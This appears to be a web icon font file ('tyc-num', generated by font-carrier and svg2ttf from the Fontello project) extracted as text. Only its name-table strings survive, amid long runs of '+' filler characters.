+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Created by font-carrier + + + + tyc-num + + + Regular + + + iconfont + + + iconfont + + + Version 1.0 + + + iconfont + + + Generated by svg2ttf from Fontello project. + + + http://fontello.com + + + + Created by font-carrier + + + + tyc-num + + + Regular + + + iconfont + + + iconfont + + + Version 1.0 + + + iconfont + + + Generated by svg2ttf from Fontello project. + + + http://fontello.com + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 